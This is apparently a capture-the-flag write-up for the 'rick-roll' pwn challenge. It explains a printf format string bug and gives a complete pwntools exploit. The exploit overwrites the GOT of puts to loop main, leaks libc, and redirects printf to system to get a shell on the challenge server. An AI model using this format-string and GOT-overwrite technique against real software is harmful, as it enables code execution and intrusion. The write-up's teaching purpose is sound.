pwn/rick-roll
The Vulnerability Link to heading
This is a simple format string vulnerability. The program gets the user’s
input then calls printf()
on the user’s input. This is a very common
vulnerability and a reason why developers should never be calling printf
directly on user input. Here’s the code from the chall:
int main(void) {
if (main_called) {
puts("nice try");
return 1;
}
main_called = 1;
setbuf(stdout, NULL);
printf("Lyrics: ");
char buf[256];
fgets(buf, 256, stdin);
printf("Never gonna give you up, never gonna let you down\nNever gonna run around and ");
printf(buf);
printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
return 0;
}
So there’s a small security measure that makes it so you can’t call main twice.
That’s fine though cause you can just jump into the middle of the main function.
So you can just use the pwntools library to create the format string writes for
you. You just need to find the offset of your input in the printf call. The
compiler also changes the last printf call to puts()
so you can utilize that
knowledge to overwrite the GOT of puts with the location of fgets()
in the main()
function. Then you can just get as much input as you want since it loops. Next step
is to leak libc and replace printf()
with system()
. Here’s the exploit.
#!/usr/bin/env python3
from pwn import *
elf = ELF("./rickroll_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.31.so")
context.terminal = ['tmux', 'splitw', '-h']
context.binary = elf
debug_script = '''
'''
def conn():
if not args.REMOTE:
p = process([elf.path])
if args.D:
gdb.attach(p, gdbscript=debug_script)
else:
p = remote("lac.tf", 31135)
return p
p = conn()
p.recvuntil(b'Lyrics: ')
writes = {elf.got['puts']:0x00000000004011ac}
payload = fmtstr_payload(6, writes, numbwritten=0)
p.sendline(payload)
p.recv()
p.sendline(b"%p"*40)
p.recvline()
x = p.recvline()
libc.address = int(x[-15:-1],16) - 146698
print(hex(libc.address))
writes = {elf.got['printf']:libc.symbols['system']}
payload = fmtstr_payload(8, writes, numbwritten=0)
p.sendline(payload)
p.interactive()